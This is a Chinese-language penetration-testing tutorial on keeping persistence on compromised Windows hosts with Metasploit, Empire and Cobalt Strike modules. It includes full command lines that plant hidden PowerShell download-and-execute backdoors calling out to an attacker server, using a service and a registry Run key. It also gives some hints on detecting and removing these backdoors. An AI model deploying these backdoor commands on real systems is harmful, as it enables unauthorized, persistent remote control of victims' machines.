### 0x00 前言 在渗透测试中,有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。 那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢? ### 0x01 MSF权限维持 使用MSF维持权限的前提是先获得一个*meterpreter* shell,通过*meterpreter* shell获取持久性shell的方法有两种: **Persistence模块** 通过启动项启动(persistence)的方式,在目标机器上以反弹回连。 ![](./image/privilege-3-1.png) ~~~ -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数; -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。 -S:作为服务自动启动代理程序(具有SYSTEM权限) ~~~ 生成的相关文件位置 : ``` # 后门文件位置: C:\Windows\Temp C:\Users\Administrator\AppData\Local\Temp # 注册表位置: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ ``` ![](./image/privilege-3-2.png) **Metsvc 模块** 通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。 ![](./image/privilege-3-3.png) 后门排查:目标主机上开启了一个Meterpreter服务。 ![](./image/privilege-3-4.png) ### 0x02 Empire 权限维持 Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即 ![](./image/privilege-3-17.png) | elevated(管理权限) | misc(杂项) | powerbreach | userland(用户权限) | | :------- | :--------- | :--------- | :--------- | | registry* | add_netuser | deaduser | backdoor_lnk | | schtasks* | add_sid_history* | eventlog* | registry | | wmi* | debugger* | resolver | schtasks | | wmi_updater* | disable_machine_acct_change* | | | || get_ssps | | | || install_ssp* | | | || memssp* | | | || skeleton_key* | | | **注册表** ~~~ (Empire: agents) > agents (Empire: agents) > interact URL3FZBV (Empire: URL3FZBV) > usemodule persistence/elevated/registry* (Empire: powershell/persistence/elevated/registry) > set Listener test (Empire: powershell/persistence/elevated/registry) > execute ~~~ ![](./image/privilege-3-5.png) 因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下: ![](./image/privilege-3-6.png) **计划任务** ~~~ (Empire: agents) > interact 9NZ2RWBC (Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks* (Empire: powershell/persistence/elevated/schtasks) > set Listener test (Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50 (Empire: powershell/persistence/elevated/schtasks) > execute ~~~ ![](./image/privilege-3-7.png) 在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell ![](./image/privilege-3-8.png) **wmi** ~~~ (Empire: agents) > interact 9NZ2RWBC (Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi (Empire: powershell/persistence/elevated/wmi) > set Listener test (Empire: powershell/persistence/elevated/wmi) > run ~~~ ![](./image/privilege-3-9.png) 如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。 ![](./image/privilege-3-10.png) ### 0x03 Cobalt Strike权限维持 通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。 从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。 ![](./image/privilege-3-11.png) 根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。 ![](./image/privilege-3-12.png) 点击Launch后,返回powershell远程下载执行命令。 ![](./image/privilege-3-13.png) **服务自启动后门** ~~~ sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" sc description Name "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启动 net start Name //启动服务 ~~~ 重启服务器后,成功返回一个shell。 ![](./image/privilege-3-14.png) **注册表自启动** 在windows启动项注册表里面添加一个木马程序路径,如: ~~~ beacon>getsystem beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f ~~~ ![](./image/privilege-3-15.png) 账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。 ![](./image/privilege-3-16.png) 注册表还有哪些键值可以设置为自启动: ``` HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ``` ------ ### 0x04 结束语 本文简单介绍了通过三大渗透框架进行权限维持的几种方法,了解攻击者常用的渗透框架及后门技术,有助于更好地去发现并解决服务器安全问题。